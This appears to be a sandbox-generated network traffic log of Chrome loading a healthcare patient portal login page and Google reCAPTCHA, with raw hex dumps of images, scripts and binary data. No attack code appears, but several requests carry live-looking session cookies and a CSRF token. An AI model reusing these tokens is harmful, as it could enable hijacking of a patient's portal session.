2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 99 6e 5d f4 c2 ce ca c8 e7 3d ce 4b 23 04 d7 c2 41 9b 08 82 eb dc 73 5d b2 49 0d 48 21 30 87 c8 4c 1d 73 e5 78 23 3a 04 da ef ab 81 7b 32 6b 3f 0e d3 47 00 1f cf f8 90 73 4f b5 3b 1e 27 2c 2f cf dd 19 f0 49 6c f9 84 e7 ae 2f c6 ef c5 83 38 42 e2 1b 65 cb 9f f6 1a 32 fa c1 a4 11 78 05 b8 c7 36 70 c8 29 25 6e d7 a4 82 e2 df eb f1 bb 7d cd bc d1 3a f7 33 34 03 22 cf 5d 21 e5 b0 c0 49 6e b5 bd ed a8 5d 74 d1 22 07 f7 9d bb 5e 76 cf 76 da b4 69 b6 75 67 8d 7d e1 4b ff 08 50 77 da 8a 55 e7 db f8 29 53 6c 6c 45 85 5d 7f e9 6a ab 7b e9 57 96 43 f8 7c ce ea b5 d4 c5 37 05 c9 58 80 b3 53 62 2f 00 9f fc c1 e6 ce 0e 40 b6 07 62 5b 8b 3d fa ab 67 2c af 0a 92 5b 6b 33 e0 2f 6f b7 c8 f2 20 bf 65 a6 51 d3 ed ad 52 db ad 47 2a 67 cd c7 ac 9b 10 6e 5f 7b 8b cb a7 aa c7 b4 Data Ascii: n]=K#As]IH!0Lsx#:{2k?GsO;',/Il/8Be2x6p)%n}:34"]!In]t"^vviug}KPwU)SllE]j{WC\|7XSb/@b[=g,[k3/o eQRG*gn_{
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 2d 3f 31 a8 27 2d d0 f1 9f 22 c6 dd f6 c7 9f b5 ed 8d 8c 1d 63 f3 aa e0 ee 00 16 01 59 a2 14 ee 44 70 f7 a5 90 43 9a 76 de 0a 2b 43 4c 64 88 06 27 0a 23 fb b7 74 a1 f8 5f ed cf 1f b5 ba a7 9f 56 11 b1 55 91 be 99 7c e5 55 36 2c a3 35 ac e7 9a f1 76 14 72 db 81 27 9e b0 4c 56 eb 15 1f ba cd ba 31 94 c2 1a 1a 16 d1 3e 4a 13 d7 ff f3 bf ea 2f cb 27 a5 31 ff 0f 6e b0 e1 ea 09 5e e5 e1 89 08 11 e7 24 2e 84 37 ba fe 9f ff d1 c1 3e 4d 63 16 b1 ad dd eb e5 5c aa 89 18 54 2d 5f 69 69 44 52 e2 70 77 e8 42 17 7e 02 f0 46 e1 f8 28 47 8f 05 4c 38 1b ef 96 fc eb d4 2b d1 d3 8f 23 1b 7e 35 c2 37 9b 48 1f 05 cf 3d 58 5b b1 da be ce 4f 84 cf 19 70 12 2a 2f 5e 8d 60 0f f3 30 0a cb fb fe d8 47 fb 9e bd b6 1d c3 06 ef 81 6f d2 3b 81 eb b1 1c 75 c5 3e ce 33 dc db 61 a0 e4 58 Data Ascii: -?1'-"cYDpCv+CLd'#t_VU\|U6,5vr'LV1>J/'1n^$.7>Mc\T-_iiDRpwB~F(GL8+#~57H=X[Op*/^`0Go;u>3aX
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 43 9e 58 45 db 21 77 94 e8 73 61 f9 eb c7 42 b6 e9 be 7b ad 79 f5 aa 5c 4a 9d 0f 7b 6e b7 bc 76 fa 7f a4 a5 87 6e 04 ae be e4 c4 23 0c 75 87 6e 38 47 dc e9 c5 c1 3d fb 58 ce 3c 2a 5b f9 90 57 fb fa fe f7 ae f3 c8 f6 3a 34 75 05 d5 e9 5c 94 26 5f 83 19 b7 46 be 60 84 00 69 d4 aa 30 26 90 97 06 d8 09 bd 65 03 69 66 bb 60 93 3b fe 98 a3 6d 2d 39 98 0a aa 2b c7 8c 2f 0d bc 1d 53 be ee 29 06 30 99 f1 65 ce 6f c1 3f d7 0b e8 8b 4e 55 1a 9e 02 c4 3c c6 d7 81 3e fc b3 12 2e a4 e5 67 a9 69 1e ac 07 e5 e9 14 ac 07 d2 e8 67 cf 9e c5 fd a7 79 4e fe 34 48 2f aa 09 d2 2b e6 39 3f 7a 68 05 d1 df e5 b6 f9 a9 bb ec bb df f8 9a 9d 40 9b de 79 d1 e9 94 53 dc e9 04 2f 81 d9 41 0e 13 c4 28 85 18 1e 10 1e 87 5c 5e c3 74 ef a1 93 66 e8 ec 0b 61 40 06 4a 8c de f6 9d 7b 9e b7 d5 Data Ascii: CXE!wsaB{y\J{nvn#un8G=X<*[W:4u\&_F`i0&eif`;m-9+/S)0eo?NU<>.gigyN4H/+9?zh@yS/A(\^tfa@J{
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: f4 eb ef 15 e0 fe a6 0b fd 74 90 76 ea c7 42 da 11 59 86 d6 4b 83 7b 0c 8c 16 af f3 af 83 36 1b 9f 7f cc 5a b6 3c cd d6 50 a8 90 ee 99 0a 7c e8 e7 48 9e 4e af 90 82 83 b7 3d 0e a6 38 6b 62 fb fb fb 0a 5e 53 10 8b 6b e4 02 d0 10 36 14 85 2f cd 58 39 bd 6a bf e7 f1 ba c2 27 bf 3a ac 79 98 f5 1f 79 72 85 ed a2 f2 84 22 f5 75 cf 01 00 41 da 9e ac 03 95 f8 f4 04 e4 32 c9 2b 4f bd 48 e6 68 be 14 cd 2f b0 0f 82 99 c1 30 07 2b 90 4c 3e 67 00 bb 0d 0d 46 42 40 e4 a3 07 47 ba 53 a3 aa 30 8e fb aa c9 9d e7 ef d5 80 91 58 b7 64 62 de dc d6 0b b8 57 04 b8 cf 0c 70 77 0b 86 04 29 07 e2 fc 18 ea a7 cc cc 2c 9e 79 f9 bc bd 5e b9 7f 2e 40 db 35 35 ee ab 28 75 09 3c 1a 0b 59 27 b6 e1 32 90 99 7e 40 73 c1 78 e8 3e 8a 56 17 c5 e7 58 4c ec d3 49 49 5b 7c d4 12 ab a5 f6 7b 2f Data Ascii: tvBYK{6Z<P\|HN=8kb^Sk6/X9j':yyr"uA2+OHh/0+L>gFB@GS0XdbWpw),y^.@55(u<Y'2~@sx>VXLII[\|{/
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: b9 6e 56 11 8a 94 40 d3 02 fb 3a ba 20 83 c2 1f 6e 89 06 9b bf db db 3c f0 79 cd 4d 37 fb 88 02 15 2e 7a f7 53 44 2b 0f c6 74 38 26 2a c8 8c 2a 18 00 3c 58 26 94 e0 ee 37 8e 28 70 8f a5 cb 8f 06 f0 47 ba 46 81 10 5f 1e dc af 86 e6 7e c3 86 f5 2c 3c a0 c9 c8 18 6b 6e ca 5c fc 9d 86 82 fb fe 40 73 0f c1 dd 3b 51 08 b8 04 f7 6d af bd 2c 0d a8 29 9f 08 e1 ab 38 37 53 ce 9a 53 22 d3 f2 52 f1 fe 18 0e 08 4b 81 8e 97 01 8d 0f 59 0b d8 ef 6c 27 2c 30 fc c7 30 3a 6a c4 83 2e 14 8e e3 ed 4d f6 6c a5 6a df 1a 1a 67 60 6b 5f 6e 84 14 3c cd 61 e3 89 74 1a 4f ef 9e 49 ab 81 6a f6 da 7f eb b3 b6 45 d9 f8 56 9c a6 0f 73 af 13 21 70 9d 7d 09 d2 08 b3 fc c1 ba 46 a9 47 b9 5e 86 cd 99 10 62 15 fc 28 e4 d0 34 ff ce 77 fe 99 e4 81 4c 97 85 32 b0 23 82 bb 07 74 f6 dd f9 ff 43 Data Ascii: nV@: n<yM7.zSD+t8&**<X&7(pGF_~,<kn\@s;Qm,)87SS"RKYl',00:j.Mljg`k_n<atOIjEVs!p}FG^b(4wL2#tC
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: b5 ef da b9 d3 a4 f1 5b e4 ff 56 2d f4 4f 7f e8 99 d0 83 d9 a7 41 1e ef cc 91 1c e5 34 27 52 c9 2f c2 4c 2d 48 35 8f a3 de bc 3e f3 d2 dc 74 76 90 81 0e e2 d8 a5 10 3a a9 f6 63 c5 37 81 9e a5 99 e5 e9 2b 00 be 8a 8d 58 bc 3a f3 a4 f9 33 df 2e e6 50 f7 95 14 2d 82 ba 88 4d 5f 92 8a 97 68 95 e6 c1 6b d7 0b dc c5 2c c8 37 42 9e d5 2e c5 47 c9 9a fb 98 4f 80 34 3c 18 b7 27 b0 31 aa c2 5b 0d 4e 5d df 3c 7b 39 5c 19 97 a9 21 07 4c 0f 1b 54 db 92 5d 31 a9 fe e5 28 57 17 86 66 e9 5f 96 c0 a6 42 fd 9e 31 55 b1 71 1a 67 eb 62 25 b8 bb e4 2e 27 a6 86 03 38 31 95 7e 77 7f 8e b3 7f 02 b8 93 a5 cd 37 8d ff 93 6b 89 72 68 34 c9 5d 5e d8 52 cb 7b 3e dc ec 90 cd fd ed df 49 e0 ae 35 9e d8 03 ec d7 38 4f 6d 25 dc 6b c9 1c d4 dc f6 9d 2d 15 fa be 30 3e 11 6e fc d5 5f 87 25 Data Ascii: [V-OA4'R/L-H5>tv:c7+X:3.P-M_hk,7B.GO4<'1[N]<{9\!LT]1(Wf_B1Uqgb%.'81~w7krh4]^R{>I58Om%k-0>n_%
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: de 86 73 52 2d 73 39 86 d7 b3 a4 5b 31 72 8b dc af 8d 42 3f aa d1 3e 8b 44 1f 15 06 d6 6f 31 2e 4a 70 f4 5d 1f ff 78 e8 ee e9 22 7d f1 92 45 53 28 5a c0 e2 dc 61 10 7e f7 3f 08 dc a3 e4 5e 94 82 13 c0 6f 90 da 63 9f 4a e7 aa 8b 1e 40 54 62 f8 2a b6 61 23 de c9 3b 3f f2 d1 b0 98 87 03 14 d8 04 b4 2b 84 93 4d 5f be 52 c8 0a 96 6e 50 24 9c d9 2a cc d7 4e 76 17 7f ba 15 2f ca 34 2a 95 e2 60 ce 54 79 6b fd f7 3b d3 73 bf af 24 f7 ce 43 47 cc f1 b3 b8 f6 f4 69 fa fa 0d 07 77 98 ee cd 0f df 9f d9 42 ce 9e ac db 95 99 7f 5b 30 7a ac 71 97 ba a6 da c8 16 36 18 e7 74 f4 f6 11 b3 4d 1c be d4 3a 05 66 3c 67 3e d7 2c b4 6b 69 12 af f9 3b ce 54 61 8c 79 bc fc 75 fa 0f 3d 15 ea 49 dd 2c 2d 61 62 19 8a 33 b1 84 a4 3b fc ea 37 e3 a3 2a d5 fe 62 2f d2 b8 14 d7 88 51 89 f8 Data Ascii: sR-s9[1rB?>Do1.Jp]x"}ES(Za~?^ocJ@Tba#;?+M_RnP$Nv/4`Tyk;s$CGiwB[0zq6tM:f<g>,ki;Tayu=I,-ab3;7b/Q
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 2f 59 fa 40 db 41 38 dc 86 42 ea 23 c0 d1 6e 4f b3 4a 35 18 85 72 66 46 c3 61 01 cf 50 09 25 4c c6 66 4f 81 6a 3e 0d ea 6e 02 a7 d5 24 13 e8 e9 06 68 f3 c0 5b 4d 8c 5c 25 eb 87 98 69 b2 e8 bd ad 55 f3 c2 40 99 71 d8 b9 27 4d 92 78 80 f1 5c d1 fc 94 61 7a c2 5a 0d ad c6 d3 9f 37 01 84 6b 6b 99 2b 9e 8c 4a b2 84 eb b1 5f 5c 13 5a ab 20 d0 17 de 72 e6 57 32 92 49 98 f7 cc cc 7c d0 47 83 3f fb c5 3e 7d fd ed b7 1a dc ed 9a b5 6f b7 90 d8 83 eb d0 82 7e f4 ee 6e fd c4 12 70 47 02 a1 98 19 ea 30 78 1e a6 8c 2d 8e 2d b9 cb 11 ed 37 28 77 d2 43 ba 4b c1 bc 37 5b 46 49 c0 28 50 ca ea 6d a3 f1 28 0e b0 51 e5 4c 07 2a e6 26 0f d7 12 ae 31 0b 59 db 06 c0 24 10 4b 2d 2f e0 0e 7b 7f 4b 70 d7 5d ce 20 88 30 7e 9c a6 94 d6 80 d5 a2 aa 3f d2 48 5a cb f9 22 5d c2 7e 80 46 Data Ascii: /Y@A8B#nOJ5rfFaP%LfOj>n$h[M\%iU@q'Mx\azZ7kk+J_\Z rW2I\|G?>}o~npG0x--7(wCK7[FI(Pm(QL*&1Y$K-/{Kp] 0~?HZ"]~F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50124	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:11 UTC	854	OUT	GET /portal14763/images/newLogin/pay-bill-vector-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:11 UTC	432	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:11 GMT Content-Type: image/png Content-Length: 35044 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:11 GMT Accept-Ranges: bytes ETag: W/"35044-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:11 UTC	15952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 53 00 00 01 86 08 06 00 00 00 c6 b8 62 e8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 20 00 49 44 41 54 78 5e ec 9d 07 80 54 d5 d5 f8 ef ec 2e b0 74 90 5e 04 04 05 69 8a 5d 44 04 bb b1 f7 1a 4b ec ed 53 13 4d 62 22 26 f9 f2 99 98 18 53 bf c4 68 62 4b cc a7 fe 35 f6 86 1d b1 60 27 4a 53 04 a4 49 91 2e bd ec ce ff fc ee cc 59 1e c3 cc ee 94 f7 66 16 f6 3c 5c 77 76 de bb e5 9d f7 de ef 9d 7b ee 39 e7 c6 9c 6d 26 01 93 80 49 c0 24 50 b0 04 62 05 d7 60 15 98 04 4c 02 26 01 93 80 33 98 da 4d 60 12 30 09 98 04 42 90 80 c1 34 04 21 5a 15 26 01 93 80 49 c0 60 6a f7 80 49 c0 24 60 12 08 41 02 06 d3 10 84 68 55 98 04 4c 02 26 01 83 a9 dd 03 26 01 93 80 49 20 04 09 18 4c 43 10 a2 55 61 12 30 09 98 04 Data Ascii: PNGIHDRSbsBIT\|d IDATx^T.t^i]DKSMb"&ShbK5`'JSI.Yf<\wv{9m&I$Pb`L&3M`0B4!Z&I`jI$`AhUL&&I LCUa0
2024-04-24 12:45:11 UTC	16384	IN	Data Raw: 9a 2c 96 04 0c a6 c5 92 74 dd ed 18 4c eb 96 51 e8 47 84 0d d3 d4 a5 9e b3 59 b6 24 f4 93 b2 0a 4b 22 01 83 69 49 c4 9e b6 51 83 69 09 ae 45 14 30 cd 75 41 bd 12 9c b6 35 19 81 04 0c a6 11 08 35 cf 2a 0d a6 79 0a ae 90 62 61 c3 14 9b e9 aa d5 6b 5d 65 53 89 6d 4f 66 1c 62 c2 97 a0 c3 cd 81 87 a9 3d 96 79 63 39 d6 4f 54 c9 c1 d8 59 fd e4 95 cf f0 11 8c fe 4e 94 63 16 dc af 4f 94 43 04 b2 38 0b f9 e4 1d a9 39 50 fd 8c b9 fc 90 b2 2e 11 8b 2f b3 e1 24 2d f1 5e 08 92 8e 2e 43 b4 6d c2 1f 21 fd 56 41 d4 52 f2 dc b1 13 eb 92 c9 71 56 6b 95 22 7e a6 dc cf 88 27 6e 79 df 6e 2d e7 93 a1 0b d2 b7 44 1d cc d2 b3 25 ea 93 73 f4 42 f2 19 66 fc f9 d0 7e 4d d2 97 0c 95 31 53 af b3 fb c1 b3 a2 46 16 e7 4b 24 65 49 44 b4 69 c2 19 e4 99 48 fa 9d 94 99 f8 fb f2 37 61 b8 2c Data Ascii: ,tLQGY$K"iIQiE0uA55*ybak]eSmOfb=yc9OTYNcOC89P./$-^.Cm!VARqVk"~'nyn-D%sBf~M1SFK$eIDiH7a,
2024-04-24 12:45:11 UTC	2708	IN	Data Raw: e0 c6 d2 0c 53 f5 0f 32 97 e8 4c 01 c5 30 fd cc de 98 a4 5b b7 f7 9c d5 6e f6 55 da c3 d4 ee f2 c7 62 4b f0 36 cb 14 57 30 4c 4d f1 64 f0 da a1 10 a6 f7 a1 f5 0f 22 6f f4 58 f0 54 f0 c6 e2 40 c0 d4 06 6a 34 fa 08 fe 0a ce f0 46 86 ec 96 ca 30 cd ae de 5c db 49 05 32 86 a9 65 bd 8c 09 a6 62 e4 8c c6 58 d7 6f 2a 10 18 98 b6 00 75 21 80 3a 37 e8 4e 64 98 06 dd 83 c1 b5 3f 6d 98 d2 a6 ee 39 39 77 a3 4b ff 41 70 5b ef ad e5 81 82 a9 0d d4 78 3c f0 69 53 0c 53 6f 1f 6a 2e bd 75 05 d2 80 29 45 a0 25 a2 5b b7 15 d8 94 c4 62 6d 5b 57 20 70 30 6d 89 50 27 20 42 7d 06 9f 03 69 3f c3 94 bf 92 7e 29 e0 02 a6 87 f1 1d 7b 50 34 34 3c 12 29 2c 3c ee 97 bd 41 aa 37 90 30 6a 01 ea 68 38 fb c5 20 89 2d 6d 65 98 06 d1 6b 66 d8 ec 04 a6 b7 5e 37 f8 dd a2 5f 8d fd 05 f6 19 ad Data Ascii: S2L0[nUbK6W0LMd"oXT@j4F0\I2ebXo*u!:7Nd?m99wKAp[x<iSSoj.u)E%[bm[W p0mP' B}i?~){P44<),<A70jh8 -mekf^7_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	50126	142.250.141.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:11 UTC	783	OUT	GET /recaptcha/api.js?onload=ctctOnLoadCallback&render=explicit HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:45:11 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Wed, 24 Apr 2024 12:45:11 GMT Date: Wed, 24 Apr 2024 12:45:11 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:11 UTC	727	IN	Data Raw: 35 30 35 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 505/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-24 12:45:11 UTC	565	IN	Data Raw: 48 56 79 5a 53 49 36 49 6b 52 70 63 32 46 69 62 47 56 55 61 47 6c 79 5a 46 42 68 63 6e 52 35 55 33 52 76 63 6d 46 6e 5a 56 42 68 63 6e 52 70 64 47 6c 76 62 6d 6c 75 5a 79 49 73 49 6d 56 34 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f Data Ascii: HVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js';po
2024-04-24 12:45:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	50128	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:11 UTC	977	OUT	POST /portal14763/jsp/100mp/captcha.jsp HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive Content-Length: 22 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-TOKEN: 45d21d29-ba12-4eb1-9693-7040974e08f6 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / X-Requested-With: XMLHttpRequest sec-ch-ua-platform: "Windows" Origin: https://mycw108.ecwcloud.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:11 UTC	22	OUT	Data Raw: 61 63 74 69 6f 6e 3d 67 65 6e 65 72 61 74 65 43 61 70 74 63 68 61 Data Ascii: action=generateCaptcha
2024-04-24 12:45:12 UTC	569	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 7 Connection: close Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), speaker=(), vibrate=(), fullscreen=(), payment=(), microphone=(), camera=(), magnetometer=(), gyroscope=() Server:
2024-04-24 12:45:12 UTC	7	IN	Data Raw: 0a 0a 0a 0a 0a 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	50129	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:11 UTC	552	OUT	GET /portal14763/images/reload.jpg HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:12 UTC	431	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: image/jpeg Content-Length: 2461 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:12 GMT Accept-Ranges: bytes ETag: W/"2461-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:12 UTC	2461	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 06 07 0e 0e 10 10 0f 0d 10 10 10 15 11 11 11 10 16 17 10 17 10 0f 12 12 12 15 11 18 17 17 17 17 15 18 28 28 20 1a 20 25 1b 16 15 21 31 21 25 29 2c 2e 2e 2f 18 1f 33 38 33 2c 37 28 2d 2e 2b 01 0a 0a 0a 05 05 05 0e 05 05 0e 2b 19 13 19 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b 2b ff c0 00 11 08 00 b3 00 b3 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 05 07 03 04 06 08 01 02 ff c4 00 3c 10 00 02 02 00 02 04 09 0b 03 04 03 01 00 00 00 00 00 01 02 03 04 11 05 06 21 31 07 12 32 41 51 61 71 81 91 13 14 22 52 53 72 92 a1 b1 b2 c1 62 Data Ascii: JFIF(( %!1!%),../383,7(-.++++++++++++++++++++++++++++++++++++++++++++++++++++"<!12AQaq"RSrb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	50130	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	879	OUT	GET /portal14763/jsp/100mp/openAccessWidget.jsp?_=1713962707513 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / X-CSRF-TOKEN: 45d21d29-ba12-4eb1-9693-7040974e08f6 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
